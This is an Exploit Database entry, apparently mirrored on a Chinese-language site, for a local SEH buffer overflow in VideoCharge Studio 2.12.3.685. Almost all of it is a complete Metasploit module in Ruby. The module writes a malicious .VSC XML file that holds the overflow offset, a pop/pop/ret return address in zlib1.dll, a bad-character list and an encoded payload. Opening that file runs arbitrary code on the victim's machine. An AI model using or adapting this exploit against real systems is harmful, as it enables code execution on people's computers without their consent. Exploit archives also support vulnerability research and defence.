VideoCharge Studio – Local Buffer Overflow (SEH) (Metasploit)

• Exploit Database
• 18 阅读

• 作者： Metasploit
  日期： 2015-08-18
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/37813/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'VideoCharge Studio Buffer Overflow (SEH)',
  'Description'=> %q{
  This module exploits a stack based buffer overflow in VideoCharge Studio 2.12.3.685 when
  processing a specially crafted .VSC file. This vulnerability could be
  exploited by a remote attacker to execute arbitrary code on the target
  machine by enticing a user of VideoCharge Studio to open a malicious .VSC file.
  },
  'License'=> MSF_LICENSE,
  'Author'=>
  [
  'metacom',# Original discovery
  'Andrew Smith', # MSF module
  'Christian Mehlmauer' # MSF module
  ],
  'References'=>
  [
  [ 'OSVDB', '69616' ],
  [ 'EBD', '29234' ]
  ],
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'process'
  },
  'Platform'=> 'win',
  'Payload' =>
  {
  'BadChars'=> "\x00\x0a\x0d\x3c\x22\x26",
  'DisableNops' => true,
  'Space' => 2808
  },
  'Targets' =>
  [
  [ 'VideoCharge Studio 2.12.3.685',
  {
  'Ret' =>0x61B811F1, #p/p/r | zlib1.dll
  'Offset'=>2184
  }
  ],
  ],
  'Privileged'=> false,
  'DisclosureDate'=> 'Oct 27 2013',
  'DefaultTarget'=> 0))
  
  register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.vsc']),], self.class)
  
  end
  
  def exploit
  
  buffer= rand_text_alpha(target['Offset'])
  buffer << generate_seh_record(target.ret)
  buffer << payload.encoded
  
  file = %Q|<?xml version="1.0" encoding="Windows-1252" ?><config ver="2.12.3.685">
  <cols name="Files"/>
  <cols name="Profiles">
  <Property name="Profile">
  <cols name="Formats">
  <Property name="Stream">
  <Value name="Name" type="8" value="#{buffer}"/>
  </Property>
  </cols>
  </Property>
  </cols>
  </config>|
  
  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(file)
  
  end
  end